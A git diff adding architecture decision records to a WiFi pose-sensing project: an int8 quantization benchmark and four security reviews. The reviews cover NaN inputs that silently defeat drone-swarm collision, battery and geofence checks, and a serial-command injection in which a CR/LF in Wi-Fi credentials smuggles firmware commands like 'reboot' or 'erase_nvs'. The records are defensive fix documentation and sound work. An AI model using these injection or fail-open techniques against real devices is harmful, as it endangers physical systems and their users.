+"fully characterized" for PTQ on the **published 2.23M** model (static QDQ
+conv-only = the sweet spot; dynamic int8 ≈ no-op on this all-conv net), and named
+**QAT-int8 on the strictly-dominating 843,834-param "half" model** as "the one
+untested edge lever." This ADR is the reading of that lever — a MEASURED
+fp32-vs-int8 trade-off for the half model, not a claim.
+
+The half model (`half_best.pth`, 843,834 params) is the efficiency-sweep winner
+from ADR-152 (`run_sweep.py` VARIANTS[0]: `tcn=[270,220,170,120]`,
+`conv=[4,8,16,32]`, `attn_groups=4`). Its fp32 accuracy was recorded in the sweep;
+this ADR re-measures it under the locked normalization and quantizes it.
+
+**The whole point of this deliverable is reproducibility.** Every number below was
+produced by running `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
+on host `ruvultra` (RTX 5080, torch 2.11.0+cu128) against the real checkpoint and
+the real seed-42 test split. The script + the exact command + the recorded stdout
+**is** the proof artifact. Nothing here is estimated.
+
+## Decision
+
+Quantize the half model to int8 with **both** levers and report both honestly:
+
+1. **QAT (primary target)** — FX graph-mode quantization-aware training, fbgemm
+   backend, 3 epochs of fake-quant fine-tuning from `half_best.pth` (AdamW lr 2e-5,
+   the existing `PoseLoss`), then `convert_fx` to a true int8 graph.
+2. **PTQ static QDQ (the brief's "sweet spot", measured as the honest fallback)** —
+   FX graph-mode static PTQ, fbgemm, calibrated on 64 train batches.
+
+### Locked normalization (ADR-173)
+
+**Torso-diameter PCK** — neck (keypoint idx 2) → pelvis (idx 12) distance — the
+standard MM-Fi/GraphPose-Fi convention. This is exactly the default
+`use_torso_norm=True` path of the upstream harness's `utils/metrics.calculate_pck`.
+The **same** `calculate_pck`/`calculate_mpjpe` that produced the sweep's fp32
+numbers scores **both** fp32 and int8 here, so the comparison is metric-locked: no
+normalization is mixed, and the fp32 baseline reproduces the sweep's recorded
+`half` test numbers bit-for-bit (PCK@20 clean = 96.62%), confirming the harness is
+the same one.
+
+### Device note (why int8 is CPU)
+
+PyTorch int8 quantized kernels execute on CPU (fbgemm/x86), not CUDA. So int8 eval
+is CPU. To keep the accuracy delta device-matched (not confounding int8-vs-fp32
+with CPU-vs-GPU), the script measures an **fp32-CPU** baseline too. fp32-CPU and
+fp32-GPU agree to 4 decimals (PCK@20 clean 0.96623 vs 0.96623), so CPU/GPU
+introduces no drift — the int8 deltas below are pure quantization effect.
+
+## MEASURED results (clean test subset = 52,560 NaN-free windows; torso-PCK)
+
+Source: stdout of the run below + `~/wiflow-std-bench/sweep/int8/int8_results.json`.
+
+| model | quant | size (MB) | PCK@20 | PCK@50 | MPJPE | Δ PCK@20 | Δ PCK@50 | size win |
+|-------|-------|-----------|--------|--------|-------|----------|----------|----------|
+| **fp32** (cpu) | — | **3.351** | **96.62%** | **99.47%** | **0.008981** | — | — | 1.00× |
+| int8 PTQ static | PTQ | 1.046 | 40.98% | 94.98% | 0.038262 | **−55.64 pp** | −4.49 pp | 3.20× smaller |
+| int8 QAT (3 ep) | **QAT** | 1.043 | 67.48% | 98.69% | 0.026548 | **−29.15 pp** | −0.78 pp | 3.21× smaller |
+
+Full-test-set (54,000 windows incl. NaN-zero-filled files 487–499) tracks the
+clean subset: fp32 96.10% / int8-PTQ 41.11% / int8-QAT 67.48% PCK@20 — same shape,
+recorded in the JSON.
+
+### Verdict
+
+**int8 is NOT a win for this model at the tight PCK@20 edge target — honest no.**
+
+- **PTQ static collapses** (−55.64 pp PCK@20). Naive static QDQ destroys the half
+  model. The "sweet spot" characterization from the brief does not transfer from
+  the 2.23M model to this 843k model at the strict torso-PCK@20 threshold.
+- **QAT recovers a large share of the relative gap** (PTQ 40.98% → QAT 67.48%) but
+  still **loses 29.15 pp** at PCK@20 for a 3.21× size reduction. At the loose
+  PCK@50 threshold QAT is nearly lossless (−0.78 pp), i.e. coarse-localization
+  survives int8 but fine-localization does not.
+- The size win is real and consistent (3.2× smaller, 3.351 MB → ~1.04 MB), but
+  **3.2× compression at −29 pp PCK@20 is a bad trade** when the half model already
+  fits comfortably in edge flash at fp32. Recommendation: **keep fp32 (or fp16)
+  for the half model on the edge**; do not ship this int8 variant as-is.
+
+### Observed fake-quant → int8 conversion gap (disclosed, not hidden)
+
+During QAT the **fake-quant** model's val PCK@20 reached 83.45% (epoch 3), but the
+**converted int8** model scores 67.48% on test. A ~16 pp drop on `convert_fx` is a
+real effect — the fbgemm int8 kernels are not bit-identical to the fake-quant
+simulation (per-tensor activation quant + the axial-attention `einsum`/softmax path
+quantize worse than the straight-through estimate predicts). This gap is the honest
+reason QAT did not close the loss, and it is exactly the kind of number that would
+be invisible if one only reported the fake-quant proxy. We report the **converted
+int8** number as the deliverable, not the fake-quant proxy.
+
+## Reproduction
+
+```bash
+ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
+  python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
+```
+
+- Script (committed): `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
+  (scp'd to `~/quantize_half_int8.py` on ruvultra for the run).
+- Inputs (on ruvultra, unmodified): `~/wiflow-std-bench/sweep/half_best.pth`,
+  `~/wiflow-std-bench/preprocessed_csi_data/` (seed-42 file-level 70/15/15 split),
+  upstream `models`/`dataset`/`utils/metrics`/`losses` (DY2434/WiFlow @ 06899d29,
+  Apache-2.0), and `sweep/model_compact.py` (the half-model definition).
+- Outputs (written, non-destructive): `~/wiflow-std-bench/sweep/int8/` —
+  `half_int8_qat.pth`, `half_int8_ptq_static.pth`, `int8_results.json`,
+  `int8_run.log`. **No existing file under `~/wiflow-std-bench` was modified.**
+- Run metadata: host `ruvultra`, GPU RTX 5080, torch `2.11.0+cu128`, fbgemm engine,
+  `date_utc 2026-06-15T12:35:06Z`, QAT ≈ 97 s/epoch.
+
+## What is MEASURED vs CLAIMED
+
+- **MEASURED:** every PCK/MPJPE/size number in the table; the fp32 baseline (which
+  reproduces the recorded sweep `half` numbers); the PTQ collapse; the QAT partial
+  recovery; the fake-quant→int8 conversion gap; the 3.2× size reduction.
+- **CLAIMED / not done here:** ONNX/TFLite export; on-real-edge (ESP32/Pi/Hailo)
+  latency or energy (int8 here is measured on x86 fbgemm, the dev box, **not** an
+  edge SoC — the size number transfers, a latency number does **not**); a
+  per-layer mixed-precision search that might keep the attention block in fp32; QAT
+  beyond 3 epochs or with learned-quant-range schedules. Those are the obvious next
+  levers if int8 is revisited; none is asserted as a result.
+
+## Honest scope / limitations
+
+- **Single eval split** — one seed-42 file-level test partition; no cross-room /
+  cross-environment generalization split (the GraphPose-Fi frontier from ADR-173 is
+  a separate, harder split and is not what is measured here).
+- **In-domain only** — these are in-distribution test numbers; they say nothing
+  about the cross-environment robustness gap.
+- **x86 int8, not edge-SoC int8** — accuracy and size transfer to an edge int8
+  runtime; the runtime/latency does not (different kernels, different SoC). No
+  latency claim is made.
+- **QAT lightly tuned** — 3 epochs, single LR, default fbgemm qconfig. A longer /
+  better-tuned QAT might narrow the −29 pp, but on the evidence here int8 does not
+  reach fp32 at PCK@20, and that is the reportable result today.
+
+## Consequences
+
+### Positive
+- The "one untested edge lever" (QAT-int8 on the half model) is now MEASURED. The
+  edge int8 question for the half model is answered with reproducible numbers: at
+  the strict PCK@20 target it loses, and we can say so with a committed script.
+- Establishes a reusable, metric-locked quantization+eval harness
+  (`quantize_half_int8.py`) for any future int8 attempt on these compact variants.
+
+### Negative
+- None to the codebase (additive script + ADR + CHANGELOG only; no production Rust
+  or signal-pipeline change; Python deterministic proof hash
+  `f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` unchanged).
+
+### Neutral
+- The negative verdict means the half model stays fp32/fp16 on the edge for now.
+  int8 for these compact pose nets is parked pending the next-lever work above.
+
+## Links
+- ADR-173 — metric-locked PCK/MPJPE harness (the locked normalization used here)
+- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark / efficiency sweep
+  (produced `half_best.pth`)
+- `docs/research/sota-nn-train-benchmark-brief.md` — §edge int8 (the "one untested
+  lever" this ADR measures)
+- Script: `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`

docs/adr/ADR-176-ruview-swarm-nan-fail-open-safety-review.md

@@ -0,0 +1,103 @@
+# ADR-176: `ruview-swarm` NaN-Fail-Open Safety Review
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — 4 real safety bugs fixed + pinned; 2 issues documented for follow-up |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **SWARM-FAILCLOSED** |
+| **Reviews** | ADR-148 (`ruview-swarm` drone swarm control plane) |
+| **Milestone** | #9 (ungated-crate security sweep) — crate 1 of 4 |
+
+## Context
+
+`ruview-swarm` (ADR-148) is the drone swarm control plane — hierarchical-mesh
+topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 command
+dispatch. It is the highest-stakes of the four never-reviewed v2 crates: a defect
+here can produce an **unsafe physical drone command**. It had no prior security
+ADR.
+
+### Trust-boundary map
+Untrusted input enters via `SwarmOrchestrator::receive_peer_state` /
+`receive_peer_detection`, which accept full `DroneState` / `CsiDetection` serde
+structs with **f64/f32 fields and no finite-check**, and via
+`SwarmConfig`/`FhssConfig`/`Geofence` deserialization. The MAVLink wire formats in
+`mavlink_messages.rs` are **integer-encoded** (i32 mm / u8) and provably cannot
+carry NaN — so the NaN class is reachable through the **serde struct path, not the
+MAVLink decode path**. Commands flow out to a `FlightController` (PX4/ArduPilot).
+
+The unifying bug class found: **IEEE-754 NaN/Inf silently defeating a safety
+comparison** (`NaN < threshold` evaluates to `false`), causing safety logic to
+**fail OPEN**. This is distinct from — but rhymes with — the NaN-state-poisoning
+class found earlier in calibration/vitals/geo (there, NaN latched into persistent
+state; here, NaN slips through a one-shot guard). Both are "non-finite input
+defeats logic," and the fix discipline is the same: **reject non-finite at the
+trust boundary, fail CLOSED.**
+
+## Decision
+
+Fix the four reachable fail-open bugs by making each safety predicate
+non-finite-aware and fail-closed, each pinned by a fails-on-old test. Document
+two further genuine issues that need larger, riskier changes rather than churning
+them in a security pass.
+
+### Findings fixed (all MEASURED fails-on-old)
+
+| # | Severity | File:line | Issue | Fix | Pin (old behavior) |
+|---|----------|-----------|-------|-----|--------------------|
+| F1a | **HIGH** | `failsafe/mod.rs:51` | `nearest_neighbor_dist < collision_dist_m` fails open on a NaN peer position → **collision avoidance silently disabled** | `!is_finite() ||` → `EmergencyDiverge` | `test_nan_neighbor_distance_fails_closed_to_diverge` (old → `Nominal`) |
+| F1b | **HIGH** | `failsafe/mod.rs:75` | NaN `battery_pct` bypasses every battery check → drone stays Nominal on unknown battery | `!is_finite() ||` → `ReturnToHome` | `test_nan_battery_fails_closed_to_rth` (old → `Nominal`) |
+| F2 | **MEDIUM** | `security/geofence.rs:33` | NaN `z` altitude skips the altitude-breach check and point-in-polygon returns `Safe` → silent geofence bypass | leading non-finite coord → `HardBreach` | `test_nan_altitude_fails_closed` (old → `Safe`) |
+| F3 | **MEDIUM/DoS** | `security/antijamming.rs:65,71,102` | empty deserialized `channels_mhz` → `% 0` **panic** in `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick`, crashing the radio task | `len == 0` early-return (`0.0` sentinel) | `test_empty_channels_does_not_panic` (old → panic `divisor of zero`) |
+| F4 | **LOW** | `sensing/multiview.rs:70` | NaN `victim_position` passes the `is_some()` filter and propagates into the fused "confirmed victim" location dispatched to the swarm | require finite confidence + position (drop) | `test_nan_victim_position_dropped_from_fusion` (old → non-finite fused position) |
+
+### Dimensions confirmed clean (with evidence)
+- **MAVLink decode panic-safety** — `SwarmNodeState::decode(&[u8;20])` `try_into().unwrap()`s are over fixed const ranges of a fixed-size array → provably infallible; no arbitrary-length `&[u8]` decode path exists.
+- **UWB/GPS anti-spoofing NaN-safe** — `(gps_dist - uwb_dist).abs() <= tol` already fails CLOSED on a NaN range (counts as inconsistent → spoof rejected); covered by `test_spoofed_gps_invalid`.
+- **Bounded grid / no allocate-from-length-field** — `ProbabilityGrid` bounds-checks `cx/cy`; `pos_to_cell` uses saturating `as u32` (no UB).
+- **Mesh `nearest_k` NaN-safe sort** — `partial_cmp(..).unwrap_or(Equal)` cannot panic on NaN.
+- **No hardcoded secrets** — `MavlinkSigner` key is constructor-injected `[u8;32]`; grep-confirmed nothing embedded.
+
+### Documented, not fixed (genuine — deferred to avoid churn/regression risk)
+
+1. **Raft `AppendEntries` lacks the Log-Matching consistency check**
+   (`topology/raft.rs:187`). A follower appends a leader's entries when
+   `term >= current_term` **without validating `prev_log_index`/`prev_log_term`**,
+   so a malformed/byzantine leader can corrupt a follower's log — a genuine
+   consensus-safety gap. A correct fix reworks the log-append plus the
+   caller-side vote-tally contract (the existing `handle_message` delegates
+   tallying to the caller) — a larger change with test-rewrite risk, so it is
+   recorded here rather than rushed in a security pass.
+2. **`MavlinkSigner::verify` uses a non-constant-time tag `==` and has no
+   replay/timestamp-window rejection** (`security/mavlink_signing.rs:64`). The
+   module doc already flags the replay limitation as a demo/test simplification.
+   Hardening (constant-time compare + monotonic timestamp window) is a focused
+   follow-up.
+
+These two are the recommended scope of the next `ruview-swarm` hardening pass.
+
+## Validation
+
+- `cargo test -p ruview-swarm --no-default-features` → **117 → 123** passed, 0 failed (+6 pins).
+- All 6 new tests MEASURED fails-on-old (2× `Nominal`, `Safe`, panic `divisor of zero`, non-finite fused position); pass on the fix.
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21…46f7a` unchanged (ruview-swarm off the signal proof path).
+
+## Consequences
+
+### Positive
+- Four reachable fail-open paths in a *physical-safety* control plane (collision
+  avoidance, battery RTH, geofence, anti-jamming radio task) now fail CLOSED on
+  hostile/degenerate input, each regression-pinned.
+- Extends the "non-finite input defeats logic" defense from the state-poisoning
+  variant (calibration/vitals/geo) to the fail-open-comparison variant.
+
+### Negative / Neutral
+- Two genuine issues (Raft log-matching, MAVLink signer) remain open by choice —
+  see Documented-not-fixed; they define the next hardening pass.
+
+## Links
+- ADR-148 — `ruview-swarm` drone swarm control system
+- ADR-172 — core/cli review (where the NaN bug-class root question was settled NO)
+- ADR-127 — homecore review (sibling NaN/concurrency hardening)

docs/adr/ADR-177-nvsim-degenerate-input-hardening.md

@@ -0,0 +1,92 @@
+# ADR-177: `nvsim` Degenerate-Input Hardening (NV-Diamond Simulator)
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — 2 real MEDIUM bugs fixed + pinned; determinism preserved |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **NVSIM-FAILCLOSED** |
+| **Reviews** | ADR-089 (`nvsim` NV-diamond magnetometer pipeline simulator) |
+| **Milestone** | #9 (ungated-crate security sweep) — crate 2 of 4 |
+
+## Context
+
+`nvsim` (ADR-089) is a standalone, **WASM-ready** deterministic NV-diamond
+magnetometer pipeline simulator — a forward-only leaf:
+`scene → source → propagation → NV ensemble → digitiser → MagFrame + SHA-256
+witness`. It has no network surface, so the real attack surface is **degenerate
+physical-parameter input** crossing the external boundary — specifically the
+WASM `config_json` / `scene_json` entry points.
+
+Two properties matter for this crate that don't for others: it is billed
+**deterministic** (a published cross-machine witness must reproduce bit-exactly),
+and under `panic=abort` WASM any panic **aborts the whole module**. So a
+config-induced panic is a denial-of-service, and a silent numeric corruption
+defeats the simulator's entire purpose.
+
+## Decision
+
+Fix the two reachable degenerate-input bugs at their funnel points, each pinned
+by a fails-on-old test, **without perturbing the deterministic happy path** (the
+guards fire only on non-finite / degenerate input; the published witness is
+unchanged).
+
+### Findings fixed (both MEASURED-reproduced)
+
+| # | Severity | Location | Issue | Fix |
+|---|----------|----------|-------|-----|
+| NVSIM-DT-01 | MEDIUM (DoS) | `pipeline.rs:58,95` | `dt = config.dt_s.unwrap_or(1.0 / f_s_hz)`; an external `f_s_hz == 0.0` → `dt = +Inf` → `(dt*1e6) as u64` saturates to `u64::MAX` → `(sample as u64) * dt_us` **panics `attempt to multiply with overflow`** at `sample ≥ 2` (debug/WASM-abort; garbage `t_us` in release). MEASURED: panic at `pipeline.rs:95:30`. | Sanitise `dt` (non-finite/non-positive → 1 µs fallback), cap the `u64` cast at `u64::MAX`, `saturating_mul` the timestamp — no config can overflow it. |
+| NVSIM-NAN-01 | MEDIUM (silent corruption) | funnel `digitiser.rs::adc_quantise` (root: near-field clamp bypass in `source.rs`) | A non-finite scene param (NaN/Inf dipole position, Inf moment, NaN loop radius) **bypasses the near-field clamp** (`NaN < R_MIN_M == false` → the `1/r³` path runs → NaN field), and at the ADC `NaN as i32 == 0` (Rust saturating cast) emits a frame `b_pt=[0,0,0]` with **`ADC_SATURATED` CLEAR** — indistinguishable from a legitimate zero-field reading. MEASURED: `b=[NaN,NaN,NaN] sat=false` → `b_pt=[0,0,0] flags=0b0000`. | `adc_quantise`: any non-finite input → code `0` **with the saturation flag raised**; the pipeline's existing `adc_sat` OR-reduction propagates `ADC_SATURATED` onto the frame, making the corruption visible downstream. |
+
+This is the same **NaN-fail-open / NaN-poisoning** family seen across
+calibration/vitals/geo and ruview-swarm — non-finite input defeating a guard —
+but bounded here to a single frame (no cross-timestep accumulator).
+
+### Dimensions confirmed clean (with evidence)
+
+1. **Determinism integrity — clean.** One RNG only: `ChaCha20Rng::seed_from_u64(seed)`,
+   fully caller-seeded (grep: one `seed_from_u64`, **zero** `thread_rng`/`getrandom`/
+   `SystemTime`/`Instant`/`HashMap`); `Cargo.toml` pins `rand`/`rand_chacha`
+   `default-features=false` (no OS entropy). Box–Muller draws
+   `gen_range(f64::EPSILON..=1.0)` (avoids `ln(0)=-Inf` by construction). Frame
+   bytes fixed LE; source summation order fixed by `Vec` order. **The published
+   cross-machine witness `cc8de9b0…93b4` (`proof_witness_publishes_a_known_value`)
+   passes UNCHANGED after both fixes** — the happy path is byte-identical; guards
+   touch only degenerate inputs. *Attested caveat (not a finding): libm
+   `cos`/`ln`/`sqrt` could differ x86↔wasm; the witness is documented as
+   x86_64-captured.*
+2. **Panic-free deserialisation — clean.** `MagFrame::from_bytes` validates
+   len/magic/version, then per-field `buf[a..b].try_into().expect(...)` are over
+   fixed sub-ranges of an already-length-checked 60-byte buffer (provably
+   infallible). No `unsafe`, no `panic!`/`unreachable!` in production; every other
+   `unwrap`/`expect` is `#[cfg(test)]`.
+3. **Div-by-zero / numerical landmines — clean.** `dipole_field`/`current_loop_field`
+   clamp `r_norm < R_MIN_M` before `1/r³`,`1/r²` (finite inputs); `shot_noise_floor`
+   guards `denom <= 0`; `vec3_normalise` guards `n < 1e-20`. The only hole was the
+   NaN *bypass* of the clamp — closed at the ADC funnel (NVSIM-NAN-01).
+
+## Validation
+
+- `cargo test -p nvsim --no-default-features` → **50 → 53** passed, 0 failed (+3 pins:
+  `degenerate_zero_sample_rate_does_not_panic`,
+  `non_finite_scene_input_flags_frame_instead_of_silently_zeroing`,
+  `adc_quantise_flags_non_finite_as_saturated`).
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21…46f7a` unchanged (nvsim off the signal proof path).
+- nvsim's own cross-machine witness `cc8de9b0…93b4` reproduces unchanged.
+
+## Consequences
+
+### Positive
+- A config-induced WASM-abort DoS and a silent NaN→fake-zero-field corruption are
+  closed at their funnel points, each regression-pinned, with the deterministic
+  witness proven intact.
+
+### Negative / Neutral
+- None. Guards affect only degenerate inputs; happy-path output is byte-identical.
+
+## Links
+- ADR-089 — `nvsim` NV-diamond magnetometer simulator
+- ADR-176 — `ruview-swarm` (sibling NaN-fail-open review)
+- ADR-172 — core/cli (where the NaN-bug-class root was settled NO)

docs/adr/ADR-178-desktop-ipc-injection-and-capability-least-privilege.md

@@ -0,0 +1,87 @@
+# ADR-178: `wifi-densepose-desktop` IPC Injection Fix + Capability Least-Privilege
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — 2 real MODERATE bugs fixed + pinned (MEASURED on Windows) |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **DESK-LOCKDOWN** |
+| **Reviews** | `wifi-densepose-desktop` (Tauri v2 desktop app) |
+| **Milestone** | #9 (ungated-crate security sweep) — crate 3 of 4 |
+
+## Context
+
+`wifi-densepose-desktop` is the Tauri v2 desktop app (ESP32 discovery, firmware
+flashing, OTA, provisioning, server control). The real attack surface is the
+**Tauri IPC boundary** — `#[tauri::command]` handlers that take arguments from the
+webview/JS — and the **capability/allowlist scope**. The crate **builds and tests
+on Windows** (Tauri 2.10.3, webview2 path, no GTK), so both findings are MEASURED,
+not source-analysis-only.
+
+## Decision
+
+Fix the two real findings; attest the rest of the surface clean with evidence.
+
+### Findings fixed (both MEASURED)
+
+| # | Severity | Location | Issue | Fix |
+|---|----------|----------|-------|-----|
+| WDP-DESK-01 | MODERATE | `src/commands/discovery.rs:438` (`configure_esp32_wifi`) | Webview-supplied `ssid`/`password` are concatenated into newline-terminated serial commands (`wifi_config {} {}\r\n`, `set ssid {}\r\n`) with **no validation** → a `\r\n` in either field **injects an arbitrary follow-up firmware command** (`reboot`, `erase_nvs`) across the IPC trust boundary. | `validate_wifi_credentials()` — WPA2 length bounds (SSID 1–32, password 8–63) **+ reject all control chars** (`char::is_control()`), called fail-closed before any serial write. |
+| WDP-DESK-02 | MODERATE | `capabilities/default.json:7-8` | `shell:allow-execute` + `shell:allow-open` granted to the webview but **unused** (Rust spawns via `std::process::Command`; the UI uses only `dialog.open`). A webview compromise (a UI-dependency XSS) → arbitrary **unscoped host command execution**. | Removed both `shell:` permissions (kept `core:default` + the two in-use `dialog:` perms); regenerated `gen/schemas/capabilities.json` now asserts `["core:default","dialog:allow-open","dialog:allow-save"]`. |
+
+Both are MODERATE (not HIGH): each requires a webview compromise or a malicious
+local caller to weaponize. The unifying lesson is **least privilege at the IPC
+boundary** — validate every webview-supplied argument that reaches a serial/FS/
+process sink, and grant only the capabilities actually exercised.
+
+### Tauri-command + capability audit (every handler)
+
+All 30+ command handlers were mapped. Only `configure_esp32_wifi` lacked input
+validation on a string that reached a command sink (WDP-DESK-01). Every
+subprocess uses `Command::new(prog).args([...])` (argv vector — no shell-string
+interpolation), so `port`/`source`/`chip`/`baud` cannot inject a second command
+even unvalidated. `tauri.conf.json` ships **no** `fs`/`http` plugin and **no**
+`"all":true`/`"$HOME/**"` scope; after WDP-DESK-02 the allowlist is minimal.
+
+### Dimensions confirmed clean (with evidence)
+
+1. **Directory traversal / arbitrary file** — path args (`firmware_path`/`wasm_path`)
+   are blobs the local user selects via the native `dialog.open` picker; settings
+   I/O is a fixed filename under `app_data_dir`. No attacker-named path sink.
+2. **Shell-string injection** — every subprocess is an argv vector; grep found no
+   shell-string interpolation anywhere.
+3. **SSRF-to-secret** — `node_ip`-built URLs target the local ESP32 mesh and return
+   only device status JSON; no credential returned to the webview.
+4. **Panic-on-input** — handlers use `.map_err(|e| e.to_string())?`; the one
+   `expect` is guarded by an `is_none()` early-return; provision/discovery
+   deserializers bounds-check every slice index (NVS size capped ≤ 4096).
+5. **Hardcoded secrets** — `ota_psk` is a per-call `Option<String>`, never embedded;
+   grep for embedded keys/tokens over `src/` is empty.
+6. **Shell plugin genuinely unused** — `tauri_plugin_shell` is `init()`-ed but its
+   `Command`/`open` API is never invoked from Rust or the TS UI (which imports only
+   `@tauri-apps/plugin-dialog`) — confirming WDP-DESK-02 is safe to remove.
+
+## Validation
+
+- `cargo check -p wifi-densepose-desktop --no-default-features` → `Finished` (Windows, MEASURED).
+- `cargo test -p wifi-densepose-desktop --no-default-features` → lib **18 → 21** (+3 validator pins:
+  `test_validate_wifi_credentials_rejects_injection` / `_rejects_out_of_range` / `_accepts_valid`),
+  integration 21/21, **0 failed**.
+- Capability narrowing MEASURED: regenerated `capabilities.json` permission set verified.
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash `f8e76f21…46f7a`
+  unchanged (desktop off the signal proof path).
+
+## Consequences
+
+### Positive
+- An IPC serial-command-injection path and an over-broad shell capability are
+  closed in the desktop app, each pinned / verified, with the rest of the
+  30-command IPC surface attested clean.
+
+### Negative / Neutral
+- None. The removed shell capability was unused; the validator rejects only
+  malformed/hostile credentials.
+
+## Links
+- ADR-176 / ADR-177 — sibling Milestone-#9 reviews (ruview-swarm, nvsim)
+- ADR-172 — core/cli review

docs/adr/ADR-179-occworld-candle-checkpoint-load-hardening.md

@@ -0,0 +1,81 @@
+# ADR-179: `wifi-densepose-occworld-candle` Checkpoint-Load Hardening
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — 1 HIGH + 2 LOW bugs fixed + pinned (MEASURED on Windows) |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **OCCWORLD-DTYPE** |
+| **Reviews** | `wifi-densepose-occworld-candle` (Candle occupancy-world model) |
+| **Milestone** | #9 (ungated-crate security sweep) — crate 4 of 4 — **CLOSES the milestone** |
+
+## Context
+
+`wifi-densepose-occworld-candle` is a Candle-based occupancy-world model
+(VQ-VAE + transformer over occupancy tokens). The real risk surface for an ML
+crate is degenerate-input / malformed-weights handling: a `#[forbid(unsafe_code)]`
+crate can still **panic** (a DoS, and under WASM an abort) when a tensor op hits an
+inconsistent shape. The crate **builds and tests on Windows**, so all findings are
+MEASURED.
+
+## Decision
+
+Fix the three reachable bugs, each pinned by a fails-on-old test; attest the rest
+clean with evidence.
+
+### Findings fixed (all MEASURED)
+
+| # | Severity | Location | Issue | Fix |
+|---|----------|----------|-------|-----|
+| 1 | **HIGH** | `model.rs:95` (`Dtype::I32 => Some(DType::I64)`) | **Crash on any int32-tensor checkpoint.** An I32 byte buffer (4 B/elem) is handed to `from_raw_buffer(.., I64, shape, ..)`; candle derives `elem_count = data.len()/8`, **halving** the count while keeping the original shape → a tensor that claims 2× its storage. Reading it **panics** with a slice-OOB (`range end index 6 out of range for slice of length 3`) inside candle-core. A checkpoint with any int32 tensor (index/buffer tensors are common in PyTorch exports) → **DoS on load**. | Map `I32 → DType::I32`, `I16 → DType::I16` (both first-class candle dtypes). Pinned by `int32_tensor_loads_with_consistent_shape_and_values` (panics on old, passes on new). |
+| 2 | LOW | `inference.rs::predict` | Frame/batch dims weren't validated (only H/W/D were): `f_in > num_frames*2` over-indexes the temporal embedding → a cryptic candle `InvalidIndex` *error* (not a panic — candle bounds-checks); zero frame/batch feeds a zero-element tensor. | Boundary guard rejects zero / over-capacity frame+batch with a clear `ShapeMismatch`. 5 pins. |
+| 3 | LOW | `vqvae.rs:141` (`z.elem_count() / last`) | **Divide-by-zero panic** in public `VQCodebook::encode` on a rank-0 / empty-last-dim tensor (`last == 0`). | Fail-closed guard returns a clear error. Pinned by `encode_rejects_scalar_without_panicking`. |
+
+The HIGH finding is the notable one: the crate's own dtype mapping **defeated**
+the upstream `safetensors::validate()` byte-length guarantee by misdeclaring the
+dtype — the one place malformed/widened weights could reach a panicking candle op.
+
+### Dimensions confirmed clean (with evidence)
+
+- **Panic surface** — grep for `unwrap()/expect()/panic!/unreachable!` across `src/`
+  → **zero in production paths**; all ops use `?`/`map_err`; the `last().unwrap_or(&0)`
+  is now guarded. `as` casts operate only on config-bounded/internal values.
+- **NaN-state-poisoning (the named class) — N/A.** The engine is **stateless between
+  `predict` calls** (no persistent world-model buffer to latch into), and input is
+  `u8` class indices (non-finite input structurally impossible). NaN weights flow to
+  `argmax` (deterministic, bounded to a valid class index) — no panic, no persistence.
+- **Unbounded alloc / shape-data mismatch from malformed weights** — defended upstream
+  by `safetensors::validate()` (overflow-checked `nelements*dtype.size()` vs declared
+  byte range + contiguous-offset + buffer-length checks), rejected before reaching
+  candle. Finding #1 was the one place the crate defeated that guarantee.
+- **Model/path loading** — `load`/`load_safetensors` check `path.exists()` → typed
+  `CheckpointNotFound`; corrupt bytes → `CheckpointParse` (pinned). No path-traversal
+  surface (caller-supplied path, opened read-only, never joined with untrusted segments).
+- **Secrets** — grep clean (only `token_h`/`token_w` config fields match `token`).
+- **Determinism** — the crate's central honesty claim, verified by the pre-existing
+  `tests/predict_honesty.rs` (3 tests, still pass).
+- `unsafe_code = "forbid"` in the manifest.
+
+## Validation
+
+- `cargo test -p wifi-densepose-occworld-candle --no-default-features` → **31/31**
+  (lib 17, checkpoint_loading 4, input_validation 5, predict_honesty 3, doctests 2),
+  0 failed.
+- `cargo test --workspace --no-default-features` → 0 failed across every crate (a lone
+  `wifi-densepose-desktop --test api_integration` "Access is denied (os error 5)" was a
+  Windows file-lock/AV flake — re-ran isolated 21/21, unrelated).
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash `f8e76f21…46f7a`
+  unchanged (occworld off the signal proof path).
+
+## Consequences
+
+### Positive
+- A checkpoint-load DoS (the int32 dtype-widening panic) and two degenerate-input
+  panics are closed in the world-model crate, each pinned. **Milestone #9 (all 4
+  ungated crates) is complete.**
+
+### Negative / Neutral
+- None. Guards reject only malformed/degenerate inputs.
+
+## Links
+- ADR-176 / ADR-177 / ADR-178 — sibling Milestone-#9 reviews (ruview-swarm, nvsim, desktop)

docs/research/sota-nn-train-benchmark-brief.md

@@ -0,0 +1,147 @@
+# SOTA Evidence Brief — `wifi-densepose-nn` / `wifi-densepose-train` Benchmark ADR Seed
+
+| Field | Value |
+|-------|-------|
+| **Date** | 2026-06-14 |
+| **Author** | deep-research (Opus) |
+| **Purpose** | Seed a future benchmark/optimization ADR for the NN-inference (`wifi-densepose-nn`) and training (`wifi-densepose-train`) crates |
+| **Scope** | The DELTA beyond what ADR-152 / ADR-150 / ADR-015 already establish — current published WiFi-CSI pose SOTA, winning architectures, edge-quantization SOTA, and a defensible benchmark-suite design |
